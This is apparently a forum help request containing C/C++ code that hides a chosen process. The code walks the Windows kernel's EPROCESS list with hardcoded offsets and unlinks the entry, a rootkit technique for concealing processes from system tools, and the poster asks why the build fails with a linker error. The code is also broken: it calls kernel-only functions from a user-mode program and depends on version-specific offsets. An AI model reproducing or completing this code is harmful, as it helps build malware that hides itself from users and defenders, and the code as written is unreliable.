this is a code that hides a specific process given the Pid, but i can not get PsGetCurrentProcess() working, it keeps throwing undefined reference error and i dont know what to do here is the code
#include <iostream>
#include <conio.h>
#include "ddk\ntddk.h"
#include <stdio.h>
unsigned long SearchProcId(unsigned int Pid){
unsigned long eproc,aux,proceso,ret;
PLIST_ENTRY lista;
unsigned int idProceso=0;
eproc=(unsigned long)PsGetCurrentProcess();//estamos en "System"
lista=(LIST_ENTRY*)(eproc+0x88);//tenemos los punteros al siguiente y al anterior
aux=(unsigned long)lista->Blink;
proceso=(unsigned long)lista;
idProceso=*((int *)(proceso+0x84));
while(proceso!=0 && aux!=proceso && Pid!=idProceso)//recorremos la lista
{
proceso-=0x88;
ret=proceso;
idProceso=*((int *)(proceso+0x84));
//avanzamos
lista=lista->Flink;
proceso=(unsigned long)lista;
}
if(Pid!=idProceso)
ret=0;
return ret;
}
int main(int argc, char** argv) {
PLIST_ENTRY plist_active_procs;
unsigned long eproc=0;
printf ("id del proceso del lol?");
unsigned int i=0;
scanf ("%d",&i);
eproc = SearchProcId(i);
plist_active_procs = (LIST_ENTRY*)(eproc+0x88);
plist_active_procs -> Blink -> Flink=plist_active_procs->Flink;
plist_active_procs -> Flink -> Blink=plist_active_procs->Blink;
return 0;
}
it keeps throwing me this error i don't know what to do C:\Users\Gabriel\Documents\main.o main.cpp:(.text+0xe): undefined reference to `imp_IoGetCurrentProcess@0'